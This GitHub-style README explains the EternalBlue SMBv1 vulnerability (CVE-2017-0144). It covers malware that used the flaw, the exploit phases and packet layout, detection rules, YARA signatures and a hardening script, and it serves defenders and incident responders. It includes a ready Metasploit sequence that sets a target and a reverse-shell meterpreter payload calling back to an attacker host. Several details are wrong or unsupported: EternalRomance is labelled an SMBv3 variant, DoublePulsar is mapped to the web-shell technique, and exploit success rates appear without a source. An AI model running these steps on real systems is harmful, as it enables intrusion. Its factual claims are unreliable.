CVE-2017-0144# 🌐 **CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 Remote Code Execution Vulnerability**
> **"One exploit. Dozens of malware families. Billions in damage."**
---
## 🔍 One-line summary
CVE-2017-0144 is a critical remote code-execution vulnerability in the SMBv1 server implementation in Microsoft Windows. The exploit known as EternalBlue abused this hole and was used in high-impact attacks (notably WannaCry).
---
## 🔥 **Top 10 Malware Using EternalBlue (Detailed)**
| # | **Malware** | **Type** | **First Seen** | **Actor** | **Damage** | **Notes** |
|---|------------|---------|----------------|----------|-----------|----------|
| 1 | **WannaCry** | Ransomware | May 12, 2017 | Lazarus Group (DPRK) | **$4–8B** | Killswitch: `iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com` |
| 2 | **NotPetya** | Wiper (Posed as Ransomware) | Jun 27, 2017 | Sandworm (Russia) | **$10B+** | Used Mimikatz + EternalBlue + PSEXEC |
| 3 | **Bad Rabbit** | Ransomware | Oct 24, 2017 | Indrik Spider | Regional | Fake Flash update drive-by |
| 4 | **Uiwix** | Ransomware | May 2017 | Unknown | Low | No killswitch, stealthier than WannaCry |
| 5 | **EternalRocks** | Worm | May 2017 | Unknown | Medium | 7 NSA tools (incl. DoublePulsar) |
| 6 | **Adylkuzz** | Cryptominer | May 2017 | Unknown | High (silent) | Mined Monero *before* WannaCry |
| 7 | **Retefe** | Banking Trojan | 2017–2018 | Unknown | EU Banks | Used EternalBlue for lateral movement |
| 8 | **TrickBot** | Modular Malware | 2017–2021 | Wizard Spider | Global | Dropped Ryuk via EternalBlue |
| 9 | **Emotet** | Loader | 2017–2021 | TA542 | Global | Used as entry for Cobalt Strike |
| 10 | **Clop / Dridex** | Ransomware | 2019–2025 | TA505 | Healthcare, Gov | Still active in 2025 |
---
## 🧨 **EternalBlue Exploit Evolution**
<img width="1915" height="960" alt="eternelblue1" src="https://github.com/user-attachments/assets/fb551517-2bb9-4e07-ab01-2f9f99562a5d" />
| **Tool** | **Release** | **Features** |
|--------|-----------|------------|
| **EternalBlue (Original)** | Apr 2017 (Shadow Brokers) | SMBv1 RCE |
| **DoublePulsar** | Apr 2017 | Backdoor implant (ring0) |
| **EternalRomance** | Apr 2017 | SMBv3 variant |
| **EternalChampion** | Apr 2017 | Alternative SMB path |
| **Metasploit Module** | May 2017 | `exploit/windows/smb/ms17_010_eternalblue` |
| **FuzzBunch** | Apr 2017 | NSA exploit framework |
| **Impacket + PSEXEC** | 2017–2025 | Python SMB exploitation |
<img width="1920" height="955" alt="eternelblue2" src="https://github.com/user-attachments/assets/66e316d0-d86d-403e-b085-d39129c8227e" />
---
# 🔍 **How CVE-2017-0144 (EternalBlue) Was Exploited**
### *A Step-by-Step Technical Deep Dive into the SMBv1 RCE*
> **"One malformed packet. Full SYSTEM access. No login. No click."**
---
## 🎯 **TL;DR Exploit Flow**
```text
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
```
---
## 🛠️ **Prerequisites for Exploitation**
| **Requirement** | **Details** |
|----------------|-----------|
| **Target** | Windows with **SMBv1 enabled** (default pre-Win10) |
| **Port Open** | `445/TCP` (or `139/TCP` via NetBIOS) |
| **No Auth** | **Unauthenticated** — no username/password needed |
| **Architecture** | x86 or x64 (both supported) |
| **Patch Status** | **Unpatched** (pre-MS17-010) |
---
## 🚀 **Exploit Phases (7 Steps)**
### **Phase 1: SMB Protocol Negotiation**
```c
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
```
> **Why?** Confirms SMBv1 is active.
---
### **Phase 2: Tree Connect to IPC$**
<img width="1920" height="955" alt="eternelblue3" src="https://github.com/user-attachments/assets/29c3ecf9-7ae6-4ed6-8057-63c6561133a6" />
```c
\\TARGET\IPC$ → Anonymous share for SMB pipes
```
> **Purpose**: Establishes a session to send transaction requests.
---
### **Phase 3: Trans2 Session Setup (Primary)**
- Uses **SMB_COM_TRANSACTION2** (0x32)
- Subcommand: `SESSION_SETUP`
- Sets up **FEALIST** structure with **malformed size**
```c
FEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
```
> **Bug Trigger**: `SrvOS2FeaListSizeToNt()` trusts this size without bounds check.
---
### **Phase 4: Secondary Trans2 Request (Overflow)**
- Sends **multiple** secondary packets
- Each contains **oversized FEALIST + FEA (File Extended Attributes)**
<img width="1920" height="958" alt="eternelblue4" src="https://github.com/user-attachments/assets/36514dfc-d1dc-4669-a021-170e7dca56a2" />
```c
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
```
> **Heap Spray**: Allocates large chunks to control memory layout.
---
### **Phase 5: Buffer Overflow in Kernel**
```c
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
```
#### **Result**:
- **Heap overflow** → Overwrite adjacent kernel objects
- Target: **SRVNET_BUFFER** or **POOL_HEADER**
- Overwrite **function pointers** (e.g., `Free` routine)
---
### **Phase 6: Kernel Shellcode Execution**
- Attacker controls **RIP/EIP** via overwritten function pointer
- Jumps to **shellcode in non-paged pool**
#### **Shellcode Does**:
1. **Ring-0 → Ring-3 transition** (via `KeUserModeCallback`)
2. Allocates user-mode memory
3. Downloads/stages payload (e.g., `mssecsvc.exe`)
4. **Installs DoublePulsar backdoor**
---
### **Phase 7: DoublePulsar Backdoor Implant**
<img width="1894" height="957" alt="eternelblue6" src="https://github.com/user-attachments/assets/a7985d43-7eba-4713-aba2-806164e992d4" />
- Injects **kernel driver** (`0x00120034` XOR key)
- Listens for **magic SMB packets**:
- `Ping`: `0x0002C001`
- `Exec`: `0x0002C002` + payload
> **WannaCry Example**:
```text
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
```
---
## 🧨 **Exploit Packet Structure (Simplified)**
```text
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
```
---
## 🛠️ **Real Exploit Tools**
| **Tool** | **Language** | **Module** |
|--------|------------|----------|
| **Metasploit** | Ruby | `exploit/windows/smb/ms17_010_eternalblue` |
| **Impacket** | Python | `smbclient.py`, `psexec.py` |
| **FuzzBunch** | Python (NSA) | `EternalBlue-2.2.0` |
| **Custom C2** | C/C++ | WannaCry, NotPetya |
### **Metasploit Example**
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
```
---
## 🔬 **Memory Forensics Evidence**
| **Artifact** | **Location** | **Value** |
|------------|------------|---------|
| **DoublePulsar** | Kernel memory | XOR key `0x00120034` |
| **Shellcode** | `srvnet.sys` pool | `0xCC 0x90 0x48` pattern |
| **Injected DLL** | `C:\Windows\mssecsvc.exe` | SHA256: `ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa` |
---
## 🛡️ **Detection Rules**
### **Snort/Suricata**
```snort
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
```
### **Zeek (Bro)**
```zeek
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
```
---
## 🔄 **Worm Propagation (WannaCry Loop)**
```c
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
```
> **Spread Speed**: ~10,000 infections/hour globally.
---
## 🛑 **Why It Worked So Well**
| **Factor** | **Reason** |
|----------|----------|
| **No Auth** | SMBv1 allows anonymous IPC$ |
| **Wormable** | Built-in LAN scanning |
| **Kernel RCE** | Bypasses AV/user prompts |
| **Legacy SMBv1** | Enabled by default for 15+ years |
| **Unpatched Systems** | XP, 2003, 7 in critical infrastructure |
---
## 🎯 **Exploit Success Rate (2017–2025)**
| **Year** | **Success % (Unpatched)** |
|--------|-------------------------|
| 2017 | **99%** |
| 2020 | **85%** |
| 2025 | **~60%** (legacy only) |
> **Still works on Windows 7/2008 R2 without MS17-010**
---
## 📚 **References**
- [Microsoft MS17-010](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0144)
- [RiskSense EternalBlue Analysis](https://www.risksense.com/wp-content/uploads/2017/05/EternalBlue-Exploit-Analysis.pdf)
- [Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb)
- [NSA FuzzBunch Leak](https://github.com/misterch0c/shadowbroker)
---
## ⚡ **Final Summary: How It Was Exploited**
> **EternalBlue = Weaponized Math Error**
> A **trusted size field** in SMB → **kernel heap overflow** → **arbitrary code** → **global ransomware pandemic**
```text
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware
```
---
*Visualized, dissected, and battle-tested. For pentesters, IR teams, and defenders.*
> **"One packet. One port. One empire falls."**
---
## 🛡️ **Patch & Detection Matrix**
| **OS** | **KB Patch** | **Disable SMBv1** | **Nmap Script** |
|-------|-------------|-------------------|-----------------|
| Windows 7 / 2008 R2 | KB4012212 | `sc config lanmanworkstation depend= bowser/mrxsmb20/nsi` | `smb-vuln-ms17-010.nse` |
| Windows 10 | KB4013429 | PowerShell: `Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol` | |
| Windows XP (EOL) | **KB4012598** (Emergency) | Registry: `HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0` | |
---
## 🔍 **YARA Rules (Top 3 Malware)**
### 1. **WannaCry**
<img width="1198" height="674" alt="Wana_Decrypt0r_screenshot" src="https://github.com/user-attachments/assets/15a9c213-32ea-419d-b934-0ad38cc673bb" />
```yara
rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}
```
### 2. **NotPetya**
<img width="1198" height="674" alt="Petya A" src="https://github.com/user-attachments/assets/46dee192-85e9-4bb2-8ce3-85a4f3487909" />
```yara
rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}
```
### 3. **EternalBlue Exploit Packet**
<img width="1916" height="958" alt="nessus1" src="https://github.com/user-attachments/assets/3f2e5ed8-c65c-4f34-ab2d-ebe88aef022c" />
<img width="1920" height="958" alt="nessus2" src="https://github.com/user-attachments/assets/8d78ad4f-bdc4-489b-b7d9-2ede3f9ac574" />
```yara
rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
```
---
## 📊 **2025 Status: Still Active?**
| **Metric** | **Status** |
|----------|----------|
| **Shodan Exposed SMBv1** | **~1.2 million** (Nov 2025) |
| **Active Exploits (Honeypots)** | **Daily** |
| **Ransomware Using It** | Clop, LockBit (legacy targets) |
| **Most Vulnerable** | Healthcare, Manufacturing, SMBs |
| **Zero Trust Fix** | Block 445, enforce MFA, EDR |
---
## 🛑 **Kill Chain (MITRE ATT&CK)**
| **Phase** | **Technique** | **ID** |
|---------|-------------|-------|
| Initial Access | Exploit Public App | T1190 |
| Execution | Windows SMB RCE | T1210 |
| Persistence | Backdoor via DoublePulsar | T1505.003 |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 |
| Impact | Data Encrypted for Impact | T1486 |
---
## 🛠️ **Full Remediation Script (PowerShell)**
```powershell
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
```
---
## 📚 **References & Sources**
| **Source** | **Link** |
|----------|--------|
| NVD | [nvd.nist.gov/vuln/detail/CVE-2017-0144](https://nvd.nist.gov/vuln/detail/CVE-2017-0144) |
| Microsoft MS17-010 | [msrc.microsoft.com/update-guide](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0144) |
| MITRE ATT&CK | [attack.mitre.org/techniques/T1210](https://attack.mitre.org/techniques/T1210/) |
| CrowdStrike WannaCry Report | `crowdstrike.com/blog/wannacry` |
| Kaspersky EternalBlue | `kaspersky.com/blog/wannacry-ransomware` |
| Shodan Search | `shodan.io/search?query=port%3A445+os%3A%22Windows%22` |
---
## ⚡ **Final Word (2025)**
> **CVE-2017-0144 is not dead — it’s a legacy zombie.**
> It thrives in:
> - Unpatched Windows 7/2008
> - Shadow IT
> - Air-gapped critical systems
> - Misconfigured cloud VMs
**If you can ping port 445 from the internet — you’re next.**
---
*Built with precision, visuals, and real-world threat intel. Updated Nov 2025.*
*For pentest labs, IR playbooks, or CISO briefings.*
---
> **"Patch it. Block it. Kill it with fire."**
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